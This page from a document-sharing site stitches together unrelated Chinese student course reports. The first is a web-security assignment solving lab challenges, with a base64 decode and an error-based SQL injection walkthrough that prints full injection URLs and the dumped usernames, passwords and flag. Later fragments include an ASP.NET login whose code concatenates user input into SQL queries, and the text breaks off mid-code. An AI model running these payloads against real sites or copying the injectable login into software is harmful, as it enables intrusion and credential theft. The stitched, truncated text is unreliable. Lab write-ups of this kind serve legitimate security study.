文档库 最新最全的文档下载
当前位置:文档库 › web安全().课程设计

web安全().课程设计

web安全().课程设计
web安全().课程设计

web安全技术课程设计报告

2014-2015第二学期

班级:12网安3班

姓名:张孝丽

学号:1215135083

指导老师:林玉香

2015年5月28日

一.题目选择和分数

1.题目:

网络信息安全攻防学习平台 https://www.wendangku.net/doc/2f18921175.html,/main.php

1 基本关第3题

从这一段加密后的我看到了密文最后的等号,这是base64加密的标志。所以就直接用网上的base64解密就可以得到我们想要的key值

其中的解密次数有很多次,在经过多次的解密后得到的明文是

所以最终提交的key值是jkljdkl232jkljkdl2389

3 注入关第一题

点击通关地址进去,出现的页面是

在url的结尾分别加入“’”、and 1=1、and 1 = 2

由此可以判断该站存在sql注入,并且可以进行手工构造url语句来获取数据库中的信息分别构造下面的sql语句

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到:5.1.61-Alibaba-rds-201404-log

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到数据库:r0866cplushua

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where

table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

猜解表名:log,motto,user,请修改limit 后面的0改变注入数据

首先根据平时的经验,我们看一下user表里面的数据,如下:

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到如下几个字段id,username,password 请修改limit 后面的0改变注入数据

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,password,0x7e) FROM user limit 0,1),0x7e),1)%23

猜解内容如下:

admin,password

guest,guest

test,1234

发现没有我们需要的数据,那么数据可能不在user表,接着猜解motto表。

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6D6F74746F LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到如下字段:id,username,motto

https://www.wendangku.net/doc/2f18921175.html,/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23

得到如下内容:(请修改limit 后面的0改变注入数据)

admin:mymotto

guest:happy everyday

test:nothing help

#adf#ad@@#:key#notfound!#

由于题目中提到flag中不带key和#

所以最后所得的key值是:notfound!

web前端开发技术实验报告 实验三

长春大学 20 15 —2016学年第二学期Web前端开发技术课程 实验报告 学院:计算机科学技术专业:软件工程 班级:软件15402

学号:041440210 姓名:王悦 任课教师:车娜 实验三 CSS网页布局 一、实验目的 1.掌握CSS盒子模型的概念,能够灵活运用盒子模型布局页面; 2.掌握盒子模型相关属性,能够使用它们熟练地控制网页元素; 3.理解块元素与行内元素的区别,能够对它们进行转换。 二、内容及要求 运用盒子模型的相关属性实现网页弹出框效果,满足如下要求: 1.网页弹出框由上面的标题和下面的宣传内容两部分组成; 2.标题通过h2定义; 3.在段落文本中内容部分由h3和p标记进行定义; 4.应用

标记、标记、边框属性、背景属性等设计页面结构效果。 三、实验原理 盒子模型:把HTML页面中的元素看作是一个矩形的盒子,也就是一个盛装内容的容器。每个矩形都由元素的内容、内边距(padding)、边框(border)和外边距(margin)组成。
标记:是一个区块容器标记,可以将网页分割为独立的、不同的部分,以实现网页的规划和布局。 边框属性:使用border-style、border-width、border-color等属性可以实现丰富的边框效果。 padding属性:设置内边距,即元素内容与边框之间的距离,也常常称为内填充。 margin属性:设置外边距,即元素边框与相邻元素之间的距离。 background-color:设置网页元素的背景颜色,默认值为transparent,即背景透明,这时子元素会显示其父元素的背景。 background-image属性:将图像作为网页元素的背景。 标记:行内元素。之间只能包含文本和各种行内标记,如加粗标记、倾斜标记等,中还可以嵌套多层

简单Web服务器设计与实现课程设计

计算机网络课程设计报告 题目:简单Web服务器设计与实现 专业: 学号: 学生姓名: 指导教师:

摘要 (2) 关键词 (2) 1. 前言 (3) 1.1 课程设计前准备 (4) 1.2 课程设计的内容 (5) 1.3 课程设计要求 (5) 1.4 课程设计平台 (5) 2. Web服务器的工作原理 (5) 2.1 HTTP协议的作用原理 (5) 2.2 Java开发语言相关知识与技术 (6) 3. 开发环境及套字接编程 (11) 3.1 Web服务器的开发环境 (11) 3.2 Web服务器的套接字编程 (12) 4. WEB服务器的设计与实现 (13) 4.1 Web服务器的程序设计流程 (13) 4.2 用Java实现Web服务器的主要设计步骤及程序 (14) 5. 测试运行 (21) 5.1 调试运行 (21) 6.结束语 (23) 参考文献 (24)

WWW的工作基于客户机/服务器计算模型,由Web 浏览器(客户机)和Web服务器(服务器)构成,两者之间采用超文本传送协议(HTTP)进行通信,HTTP协议的作用原理包括四个步骤:连接,请求,应答,关闭应答。在课程设计中,系统开发平台为Win7,程序设计语言采用Java,程序运行平台为Eclipse。在程序设计中,采用了结构化与面向对象两种解决问题的方法。程序通过调试运行,初步实现了设计目标,并且经过适当完善后,将可以应用在商业中解决实际问题。 关键词Java;HTTP;Web服务器

Internet是目前世界上最大的计算机互联网络,与大家的生活、学习、工作有着越来越密切的关系,它遍布全球,将世界各地各种规模的网络连接成一个整体,其用户群十分庞大,因此,建设一个好的Web站点对于一个机构的发展十分重要。近年来,随着网络用户要求的不断提高及计算机科学的迅速发展,特别是数据库技术在Internet中的广泛应用,Web站点向用户提供的服务将越来越丰富,越来越人性化。 本课程设计主要解决由Web 浏览器(客户机)和Web服务器(服务器)构成,两者之间采用超文本传送协议(HTTP)进行通信的Web服务器的程序设计。 1.1 课程设计前准备 以下的工作均是建立在大量的调查基础上的,是Web服务器开发前期准备工作所解决的问题。 (1)Java简介 Java是由sun公司开发的一种新型的面向对象的程序设计语言,主要用于web页面的设计[1]。Java语言的流行除了因为它能够编制嵌入HTML文件中的Applet外,还在于Java语言本身的面向对象、简单、平台无关性、安全性、多线程等特点。Java语言的发展颇具传奇性,它与Internet的WWW的迅猛发展是分不开的。由于其发展迅速,有人将它比喻为Internet上的世界语。前面讲到在Internet上Web页面的设计采用的是HTML语言,用户借助于Web浏览器(如Netscape,HotJava,IE等),可以访问到远程web服务器上静态的、具有超链接的Web页面[2]。 (2)HTTP协议简介 HTTP 协议是应用层的协议,定义了服务器端和客户端之间文件传输的沟通方式。HTTP协议用于从WWW服务器传输超文本到本地浏览器的传送协议。由于HTTP协议支持的服务不限于WWW,还可以是其它服务,它允许用户在统一的界面下,采用不同的协议访问不同的服务。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示等[3]。

web简单网页课程设计报告

设计内容及要求 <1>使用各种HTML标记,CSS各种常用样式及简单的JavaScript 技术,完成的网页没有错误 <2>首页设置导航栏,命名为 <3>利用CSS技术对网站进行布局,网站风格统一 <4>灵活运用JavaScript使网页生动 一、设计思路 首页: 二、设计结果及分析 首页:

1.对于主页,因为不太喜欢类似于搜狐类似的全文检索,更青睐于百度类似比较简洁的页面,随后设计出主页,虽然很简单,但我认为很精练,突出了这次设计的主题。 东营: 2.对于主页,因为不太喜欢类似于搜狐类似的全文检索,更青睐于百度类似比较简洁的页面,随后设计出主页,虽然很简单,但我认为很精练,突出了这次设计的主题。

广饶简介: 联系: 3.第四章做了根据js的一个互动。可以对前台邮箱的内容进行判断。

图片欣赏: 4.第五章,由于需要用到表格的内容,所以将照片用着种形式呈现出。 三、总结 通过本次网页的制作过程,我学到了很多实用的东西,也充分了解了editpuls这个软件的强大,对学习了一个学期的课程也有了深入的了解。在这段时间里,一方面,我尝试着讲课本上所学的知识运用到制作中,另一方面,我又时刻在网上学习自己需要的知识,学习到了很多有用的知识。虽然之前对于代码的编辑不是很明白,但这几天不断搜集各种网站模板,不断学习设计思路。虽然呈现出的作品很不完整,基本达不到观赏性和实用性,但我还会不断练习。争取作出属于我的风格的web。 五、附录(源代码)

首页: web课程设计

Web前端技术课程的实训报告

《Web前端技术课程设计》报告 一、实训课题名称 二、课题设计目的 通过实训,应使学生巩固所学知识,把所学的理论知识运用到网站制作实践中。 培养学生动手能力,将PS制作效果图、HTML、CSS+DIV网页布局、JavaScript等Web 前端开发技术结合起来,在实训环节中进行运用。为以后学习动态网站打下基础。三、实现功能: 用PhotoShop、DreamWeaver等开发工具制作一个由静态网页构成的简单网站,要求包括一个首页、至少三个子网页,按照网站开发流程,先做网页效果图,然后制作网页素材、构建网站文件结构、规划网页布局、制作网页动画、实现网页功能,尔后进行网站测试,并编制出各阶段必要的文档。在编写文档时,必须严格遵照要求,最后提交文档。 功能要求:该网站首页必须包括网站logo、导航条(带有鼠标事件变化效果)、banner (简单flash动画)、图片、多媒体运用、文字等主要信息展示;子网页包括用户注册(带有表单输入项本地验证功能)、登录(用户名和密码非空验证)、子网页相关栏目。各页面之间通过超链接切换。 最后要求提交详细的课程设计报告及网页效果图(.psd)和网站运行文件,现场运行验收开发的系统。 四、课题设计内容: (1)开发背景 (2)网站分析设计部分 1)客户需求分析 ●网站栏目划分 ●栏目内容介绍 ●网站拓扑图 ●网页风格创意设计 2)网站风格定位 3)网站建设方案 4)网站效果图 (3)网站制作部分 1)效果图制作 2)网页素材及网站架构制作 3)首页制作页面设计 4)子页面制作 五、体会及下一步学习方向

教师评语

参考方案: 目录 开发背景 (4) 前期准备 (4) 客户需求分析 (4) 网站风格定位 (5) 色彩 (5) 排版 (5) 特效 (6) 网站建设方案 (6) 网页风格创意设计 (7) 网站栏目划分 (7) 栏目内容介绍 (8) 网站拓扑图 (9) 实训目的 (10) 实训任务 (10) 实训项目 (11) 网站基本介绍 (11) 报名界面 (10) 保存的文件位置 (11) 首页展示效果图 (12) 导航条展示效果图 (13) 留言板表格布局 (14) 网站版权的展示图 (14) 国内黑客网站界面展示图 (15) 黑客新闻界面展示图 (16) 电影展示图 (18) 黑客简介界面展示图 (20) 黑客区别界面展示图 (21) 黑客分类界面展示图 (22) 实训中的问题和解决办法 (23) 实训体会 (24)

Web教务管理系统课程设计报告书

课程设计报告书设计名称: 课程名称: 学生姓名: 专业: 班别: 学号: 指导老师: 日期:年月日

目录 1.开发背景 (1) 2.系统分析 (2) 2.1 需求分析 (2) 2.1.1功能需求 (2) 2.1.2基于ASP.NET的教务管理系统的设计与实现 (2) 2.1.3基于ASP.NET的教务管理系统的设计与实现 (3) 2.2 可行性分析 (3) 2.2.1需求可行性分析 (3) 3.系统设计 (4) 3.1系统目标 (4) 3.2 系统功能结构 (4) 3.2.2教师功能块 (5) 3.2.3管理员功能模块 (6) 3.3 开发环境 (6) 3.4 详细设计 (6) 3.4.1设计数据表 (6) 3.4.2 功能E-R图 (9) 3.4.3设计步骤 (10) 3.4.4关键代码 (11) 3.4.5运行结果 (13) 4.总结 (16)

1.开发背景 近年来随着教育普及,高校教育体制改革,各高校扩大招生规模,使得在校学生人数有了突飞猛进的发展,办学规模逐步增大,专业设置日趋多样化,招生人数逐年增加,教学计划不断更新,这使得高校教务管理的工作量大幅度增加。并且,随着教育改革的深化,教学管理模式也在发生变化,如学分制的逐步实行、学生可以自主选课等。这就对原有的教学管理模式提出了更高的要求。另一方面,随着计算机网络技术的发展,校园网引进各个高校,为无纸化办公提供了有利条件。在这样的形势下,开发一个集成化的教务管理系统不仅势在必行,而且成为一个紧迫的任务。 由于国内各高校的教务管理模式不尽相同,不同学校的实际教务管理情况各有自己的特点,因而个高校需要针对自己的教务管理模式和特点建立自己的教务管理系统。教务管理包括对教学资源——如新生注册和学籍的管理、各学期学生成绩的管理、教学培养方案的执行、教学计划的安排、学生考试的管理、教室评教以及工作量的计算等大量信息。如何高效率的进行管理,并且有序的存放和处理这些巨大的信息,并使之成为教学管理分析和决策的手段,为教学活动产生更好的促进作用,是教务管理信息系统主要功能。 教务管理系统是以管理信息系统为理论依据的。管理信息系统的发展伴随着软件工程的发展而日趋成熟。不断增长的复杂性、多样性和相互关联性是当今管理信息系统的共同特征。而开发一个管理信息系统往往要结合软件工程的理念,使用系统化的方法进行管理信息系统的开发,从而更能有效地控制程序复杂性,减少系统的不合理,减轻维护成本。 在总结原有的管理信息系统优缺点的基础上,结合怀化学院教务工作的实际情况,以校园网为依托,规划设计了怀化学院教务信息管理系统的组成结构,利用目前流行的开发工具和技术,开发基于C/S模式的网站教务管理系统,设计了教务管理系统的各个功能模块、数据库和系统安全等,力求使该系统功能完善、高效适用、安全可靠,更好地为高校教务、教学管理工作服务。

web程序设计课程设计--文件管理系统

目录 一.项目背景 (2) 二.需求分析 (2) 1.系统需求分析 (2) 2.系统分析 (3) 三.后台数据库Microsoft SQL Server 2008 (4) 四.https://www.wendangku.net/doc/2f18921175.html, 2010 (4) 五.数据库设计 (4) 1.数据库设计 (4) 2.功能模块设计 (6) 3.系统功能流程 (7) 六.详细功能设计 (7) 七. 课程设计总结 (8) 八.问题与解答 (9)

一.项目背景 文件管理系统是信息技术在公司里管理中最典型的应用。传统文件管理模式是由人工去管理的,效率低下,无法适用于当前对文件管理的需求。文件管理系统基于网络技术,使办公室对文件的管理工作逐步信息化,从而形成由办公室人员与办公室设备共同构成服务于某种目标的人机文件处理系统,因而可以将跨地区的各个部门紧密连接在一起,从而达到对文件的实时共享,可以最大程度地发挥各级人员的工作效率。 通过以上分析,得出总结:文件管理是一个过程,因为网络化的文件管理系统并不局限于办公室,具有广泛的应用范畴。从领导各个业务部门乃至单位的所有工作人员,几乎人人都可能成为使用文件管理系统的用户。随着社会的发展与信息技术的进步,全球信息化的直拨越来越明显,任何单位与企业不再是局限于某一个地区,都在自觉不自觉在参与到了全球化的竞争中。在这个全球化的竞争中,政府机关企事业单位对信息的掌握程序,信息获取是否及果,信息能否得到充分的利用、对信息的瓜刘否敏感准确,已越来越成为徇其竞争能力的最重要因素。综上所述,文件管理系统的前景是非常广阔的。 二.需求分析 1.系统需求分析 随着国家信息基础建设的深入,规划用网络构建文件管理系统以实现管理员对文档的管理,同时实现了对文档的上传,下载,浏览共享文件和删除文件,同时每个用户还有不同的权限。在此让不同用户方便的实现了对文件的有效管理与其它相关信息的有效管理,为人们提供更广泛的、更便捷的信息及服务。 随着各个学校规模的不断扩大,学校内部对文件处理急剧增加。如果通过网络文件管理系统工作,就可以抛弃以入往传统的模式,发文件的一级一级传达的烦琐。用户只要上网就以查看上级添加而存放在数据库中的文件与相互交流信息的目的。因而根据学校对文件管理

WEB课程设计报告

第一章需求分析 随着网络的飞速发展和普及,越来越多的用户习惯上网浏览新闻。本系统的主要目的就是为用户提供一个方便、及时的网上新闻发布、浏览平台。利用本系统,用户可以直接在网上发布新闻信息并根据自己的需要对新闻进行浏览、检索、增加、或修改。本系统遵循软件工程标准,并按照软件工程规定的流程进行项目的开发。 1.1 安全需求 由于使用JSP编写的程序代码隐蔽,在客户端仅可以看到由JSP输出的动态HTML 文件,因此只要编写程序时注意严谨性,防止SQL注入和cookies欺骗,整个系统的 安全就能得到保障,同时也能防止别人抄袭源代码。本系统的管理员可以有多名,为防止暴力猜解密码,在设计后台登陆模块时需考虑验证码的设计。使用Tomacat6.0 为系统地发布平台,发布方便,安全可靠性比较高。 1.2 性能需求 Tomacat 可以免安装,体积小,运行效率高。能很方便的在Windows 和Linux 系统下发布。同时使用MySql5.0 数据库,安装方便,而且免费使用,MySql 在Windows XP以及Linux下都能被良好的支持。而JSP不但可以用Eclipse,也可以用Dreamweaver 编辑,甚至记事本等文本编辑工具即可编写,因此对系统运行环境非常低,小型服务器和家用电脑均可作为本系统运行环境。 1.3 功能需求 本新闻发布系统将实现以下几个功能 (1)查看新闻功能:任何用户均可以使用查看新闻功能。查看新闻功能在首页显示最新新闻,用户可点击文章标题查看新闻的详细内容,可以点击新闻的类别进入分类列表。 (2)站内新闻检索功能:任何用户均可以使用新闻搜索功能。在新闻查看页面上,用户可以通过在单选按钮中选择检索方式,如新闻标题,关键字,或者正文,然后输入检索条件搜索符合新闻。这里

web前端培训学习心得

Web前端培训学习心得 目前web前端最火的莫过于html5了,HTML指的是超文本标记语言(Hyper Text Markup Language),标记语言是一套标记标签(markup tag),HTML使用标记标签来描述网页。HTML5区别于HTML的标准,基于全新的规则手册,提供了一些新的元素和属性。今天华清远见web前端培训的小编就为大家分享一下web前端培训学习心得。 一、了解HTML5前端开发技术 HTML指的是超文本标记语言(Hyper Text Markup Language),标记语言是一套标记标签(markup tag),HTML使用标记标签来描述网页。HTML5区别于HTML的标准,基于全新的规则手册,提供了一些新的元素和属性,在web技术发展的过程中成为新的里程碑。HTML5被推广用于Web平台游戏开发,及手机移动领域,国内,腾讯手机QQ浏览器、WEBQQ、QQLive,手机新浪,优酷视频等都在支持HTML5。从市场来看,无论是桌面应用还是移动应用,HTML5都是当下Web技术中最炙手可热的新宠,是创新的主旋律,在不久的时间里一定会大有作为。 二、课程能让你学到什么? 从前端开发的基础出发,学习使用HTML,CSS,JavaScript等一系列前端技术,实现动画特效。以开发实例展示为主导,循序渐进让学员

掌握HTML5技术的应用。强化学员基础,尤其是要针对JavaScpript 基础的强化从而掌握HTML5新功能API。构建开放的教学环境,鼓励相互的技术交流,让学员树立良好的持续学习态度,分享最新前端技术革新和理念。为学员在这一领域能有进一步的发展和造诣提供帮助和机遇。 三、胜任的岗位: 前端开发工程师,Web开发工程师,JS/AJAX工程师,人机交互设计师。 四:华清远见web前端培训具有以下优势 1.适合不同基础的学员 教育培训行业一直面临的难题是:“无法根据不同学习能力、不同学习水平的学员进行针对性的因材施教,导致不同学习水平、不同学习能力的学员在一个班级内混合上课,学生学习的效果无法实现最大化”。但是华清远见的web前端培训课程却恰恰解决了这一难题,即便你是零基础也能手把手教你入门; 2.满足企业需求 随着企业招聘职位的越来越细化,对岗位的技术要求越来越细,华清远见必须按照企业的需求为企业提供高水平的技术人才,满足企业的招聘需求。

WEB课程设计报告

Web开发技术课程设计题目:学生信息管理系统 院系:软件工程 班级学号:软件13 -1(21,19) 姓名:唐波 同组成员:史伟良 指导教师:王双利 2014 年12 月12 日

Web开发技术课程设计任务书 一、题目:学生信息管理系统 二、设计要求 (1)史伟良负责设计与实现管理系统登陆界面;唐波负责设计与实现管理系统增删改查界面。 (2)查阅相关资料,自学具体课题中涉及到的新知识。 (3)采用结构化、模块化程序设计方法,功能要完善,具有一定的创新。 (4)所设计的程序有输入、输出。 (5)按要求写出了课程设计报告,于设计结束后2天提交了。其主要内容包括:封皮、课程设计任务书,指导教师评语与成绩、目录、概述、软件总体设计、详细设计、软件的调试、总结、致谢、附录(带中文注释的程序清单)、参考文献。总体设计应配合软件总体模块结构图来说明软件应具有的功能;详细设计应用传统或N-S流程图和屏幕抓图说明;调试的叙述应配合出错场景的抓图来说明出现了哪些错误,如何解决的。 三、课程设计工作量 一般每人的程序量在200行有效程序行左右,不得抄袭。 四、课程设计工作计划 2014年12月8日,指导教师讲解布置题目,学生根据题目准备资料; 2014年12月8日,进行总体方案设计; 2014年12月8日~2014年12月10日,完成程序模块并通过独立编译; 2014年12月10日~2014年12月11日,将各模块集成为一完整的系统, 并录入足够数据进行调试运行; 2014年12月11日~2014年12月12日,验收、撰写课程设计报告。 指导教师签章: 专业主任签章:

Web开发技术课程设计指导教师评语与成绩

最新Web前端技术课程实训报告

《Web前端技术课程设计》报告实训课题名称 二、课题设计目的 通过实训,应使学生巩固所学知识,把所学的理论知识运用到网站制作实践中。 培养学生动手能力,将PS制作效果图、HTML、CSS+DIV网页布局、JavaScript等Web 前端开发技术结合起来,在实训环节中进行运用。为以后学习动态网站打下基础。三、实现功能: 用PhotoShop、DreamWeaver等开发工具制作一个由静态网页构成的简单网站,要求包括一个首页、至少三个子网页,按照网站开发流程,先做网页效果图,然后制作网页素材、构建网站文件结构、规划网页布局、制作网页动画、实现网页功能,尔后进行网站测试,并编制出各阶段必要的文档。在编写文档时,必须严格遵照要求,最后提交文档。 功能要求:该网站首页必须包括网站logo、导航条(带有鼠标事件变化效果)、banner (简单flash动画)、图片、多媒体运用、文字等主要信息展示;子网页包括用户注册(带有表单输入项本地验证功能)、登录(用户名和密码非空验证)、子网页相关栏目。各页面之间通过超链接切换。 最后要求提交详细的课程设计报告及网页效果图(.psd)和网站运行文件,现场运行验收开发的系统。 四、课题设计内容: (1)开发背景 (2)网站分析设计部分 1)客户需求分析 ●网站栏目划分 ●栏目内容介绍 ●网站拓扑图 ●网页风格创意设计 2)网站风格定位 3)网站建设方案 4)网站效果图 (3)网站制作部分 1)效果图制作 2)网页素材及网站架构制作 3)首页制作页面设计 4)子页面制作 五、体会及下一步学习方向

教师评语

参考方案: 目录 开发背景 (4) 前期准备 (4) 客户需求分析 (4) 网站风格定位 (5) 色彩 (5) 排版 (5) 特效 (6) 网站建设方案 (6) 网页风格创意设计 (7) 网站栏目划分 (7) 栏目内容介绍 (8) 网站拓扑图 (9) 实训目的 (10) 实训任务 (10) 实训项目 (11) 网站基本介绍 (11) 报名界面 (10) 保存的文件位置 (11) 首页展示效果图 (12) 导航条展示效果图 (13) 留言板表格布局 (14) 网站版权的展示图 (14) 国内黑客网站界面展示图 (15) 黑客新闻界面展示图 (16) 电影展示图 (18) 黑客简介界面展示图 (20) 黑客区别界面展示图 (21) 黑客分类界面展示图 (22) 实训中的问题和解决办法 (23) 实训体会 (24)

课程设计JavaWeb图书管理系统

信息系统工程与实践 ---- Java Web图书管理系统 班级:文计081-2 姓名:邓森 学号:3

一、题目的选择 Java Web图书管理系统 二、系统分析 系统的可行性分析 可行性分析是在进行初步调查后所进行的对系统开发必要性和可能性的研究,所以也称为可行性研究。信息系统也应从技术可行性,经济可行性和社会可行性三方面来论证。通过长时间的观察与实践,我认为图书馆管理系统的可行性分析如下: 2.1.1经济可行性分析 作为图书馆这样的商业性质较小的场所,其经济成分比重相对较少,主要是支出的费用:其中包括设备购置费、软件开发费用、管理和维护费、人员工资和培训费等。由于各个图书馆实行统一操作,系统共享,其设备购置,人员工资,维护费用相对较少,前期的资金投入主要集中于购置图书上。建立信息中心,可将来自各方面的信息集中管理,提高图书管理的计划性和预见性,快速地反馈市场信息。 2.1.2技术可行性分析 技术上的可行性分析主要分析现有技术条件能否顺利完成开发工作,硬件、软件配置能否满足开发者的需要,各类技术人员的数量,水平,来源等。图书馆管理系统的工作主要是在读者和图书馆之间架起一座桥梁,能相互沟通信息和处理信息。这一特点非常适合计算机特点,通过网络internet技术,发挥计算机的信息传输速度快、准确度高的优势。计算机硬件和软件技术的飞速发展,为系统的建设提供了技术条件。 2.1.3社会可行性分析 社会可行性有时也称为操作可行性,主要论证新系统在企业或机构开发和运行的可能性以及运行后可能一起的对企业或机构的影响,即组织内外是否具备接受和使用新系统的条件。在当前信息技术飞速发展的大环境下,计算机技术和软件技术的更新是图书馆完全有可能也有能力采用这样先进的管理技术。它对图书馆带来的影响可以看到: (a)对传统管理理念的冲击,可能引起管理层的变动和人员的调整。 (b)对图书馆工作人员的要求提高,使图书馆在一定的可能下进行机构精简,迫使工作人员继续学习新知识,拓宽图书馆在市场环境下的生存空间。 (c)对图书馆与读者之间业务方式的转变和扩充。 最后,针对用户对图书资源进行有效利用和管理的功能需求,用建模技术对图书管理资源采用面向对象的描述方式,在具体系统功能实现之前,建立起系统模型是很必要的,这里采用具有可视化、能够柔性实现分析、设计和开发系统的统一建模语言实现系统模型构建。同时,结合最流行的基于浏览器的数据管理模式,建议采用基于组件技术的B/S(brower/server)系统结构。 从技术的角度来考虑,随着计算机技术的深入发展,相关的应用软件、技术已经很成熟了,各种信息系统的开发工具也很完善了。运用现在软件行业中流行的开发工具JAVA以及MySQL,借鉴别人成功开发的宝贵经验,可成功开发一个功能基本完善的、符合中小型生产企业生产管理所需的生产管理信息系统。 综上所述,实施生产管理系统在技术上、经济上、运行上以及社会环境上都是可行的,因此,开发生产管理信息系统是可行的。

Web程序设计课程设计报告模板

Web程序设计课程设计报告课程设计题目:某电子杂志网站 姓名:肖琴霞 专业:软件工程(国际教育) 班级:10211133 学号:1021113321 指导教师:吴光明 2013 年 3 月 10 日

一、设计目的 《Web应用开发课程设计》是实践性教学环节之一,是《Web程序设计》课程的辅助教学课程。通过课程设计,使学生掌握Web网站的基本概念,结合实际的操作和设计,巩固课堂教学内容,使学生掌握软件开发的基本概念、原理和技术,将理论与实际相结合,应用现有的开发工具,规范、科学地完成一个完整地应用软件的设计与实现,把理论课与实验课所学内容做一综合,并在此基础上强化学生的实践意识、提高其实际动手能力和创新能力。 当今时代是飞速发展的信息时代,在各行各业中离不开信息处理,这正使得计算机被广泛的应用于信息管理系统。计算机的最大好处在于利用它能够进行信息管理和查询。使用计算机进行信息控制,不仅提高了工作效率,而且大大的提高了其安全性。尤其对于复杂的信息管理,计算机能够充分发挥它的优越性。计算机进行信息管理与信息管理系统的开发密切相关,系统的开发是系统管理的前提。制作电子杂志网站可以方便读者阅读,且可以扩大读者的视野以及提高阅历。 二、设计解决方案 问题解决方案: 经过分析,我们决定利用ASP编程,使用Dreamweaver MX作前端开发工具,利用SQLServer2000作后台数据库管理,数据库驱动使用ADO。 前台功能模块:系统主界面与登录程序设计,杂志查询及订阅,读者服务模块,杂志分类设计等。 后台功能模块:管理主界面与登录程序设计,最新杂志信息管理模块,杂志订阅管理模块,在留言管理模块设计等。后台管理的建立,使管理员可以通过后台很容易的对杂志城进行管理,比如:对最畅销杂志,公告和杂志城注册用户进行添加,删除等管理工作,还可以对读者在线留言的处理。 三、电子杂志网需求分析 3.1 需求分析 需求分析是整个设计过程的基础,最困难、最消耗时间的一步。它的最终结果是提供

web前端课程介绍

(一)、简介: 随着互联网的迅猛发展和普及,一个新型的行业和新兴的职位正在上升到技术的层面:web前端开发工程师 Web前端开发工程师,除了主要职责外,还要为网站上提供的产品和服务实现一流的Web界面,优化代码并保持良好兼容性。 Web前端开发工程师-web2.0时代Web前端表现层及与前后端交互的架构设计和开发配合后台开发人员实现产品界面和功能利用各种Web技术模拟开发产品原型,Web新技术调研和资讯整理,精通HTML、CSS,熟悉页面架构和布局,对Web标准和标签语义化有深入理解,掌握面向对象编程思想 培养目标:全流程的技能管理性人才,收入比较高 (二)、课时:16周(4个月) (三)、学费:17900元(火星超震撼助学金计划—— 先学习,后付款!只有我们敢这样承诺!)(四)、工资收入:13k/月(一年工作经验) (五)、就业方向: 1、电商类公司 2、软件公司 3、手机制作公司 4、游戏公司 5、移动媒体公司 6、视频网站 7、网络推广公司 (六)、就业岗位:1、WEB前端工程师 2、项目经理 3、项目总监 (七)、软件技术: HTM 5\CSS\ javascript \FLASH\PHP\SQL\PHP\Dreamweaver\ (八)、就业情况 其实前端开发非常重要,就经验来讲,客户第一眼看到的就是你的界面。(就跟你找媳妇似的,长得不好看,就没有谈下去的兴趣了。) 你的界面设计好坏直接影响到客户对你软件产品的兴趣,第二眼才会看功能等其它部分,(这时候才会去发觉她的内在美) 所以我觉得前端开发在软件团队中是很重要的一部分。还是很有前景的。 标准

标准

web管理系统课程设计

湖北第二师范学院 《Web程序设计》 课程设计报告书 班级:12级计算机应用技术(1)班学号: 姓名: 指导老师:王海军 成绩: 设计时间:2014 年 6 月12 日

简单的Web应用系统设计、开发一.登录页面: 登录页面的设计与代码: 主要以不同的角色进去就会跳进不同的页面就会有不同的权限 源代码: 后台代码: using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; using System.Data.SqlClient; public partial class login1 : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { Label7.Text = "当前时间是:" + DateTime.Now.ToString() ;

} protected void Button1_Click(object sender, EventArgs e) { if (rbtstudent.Checked == false && rbtteacher.Checked == false) { Response.Write(""); } else { if ( rbtstudent.Checked == true) { SqlConnection con = new SqlConnection("server=.;database=school;integrated security=SSPI"); con.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = con; https://www.wendangku.net/doc/2f18921175.html,mandText = "select * from student where stdid='" + username.Text + "'and stdmm='" + userpwd.Text + "'"; //https://www.wendangku.net/doc/2f18921175.html,mandText = "select * from achievement where stdid='" + username.Text + "'"; SqlDataReader dr = cmd.ExecuteReader(); if (dr.Read()) { Session["stdid"] = dr[0]; Session["stdmm"] = dr["stdmm"]; Session["stdxb"]=dr["stdxb"]; Session["stdsfz"] = dr["stdsfz"]; Session["stdrxsj"] = dr["stdrxsj"]; Session["stdbj"] = dr["stdbj"]; Session["stddz"] = dr["stddz"]; Session["stddh"] = dr["stddh"]; Session["stdxm"] = dr["stdxm"]; username.Text= Session["stdid"].ToString(); userpwd.Text= Session["stdmm"].ToString(); Label4.Text = "登陆成功"; username.Text = "";//userID为textbox1 username.Enabled = false; 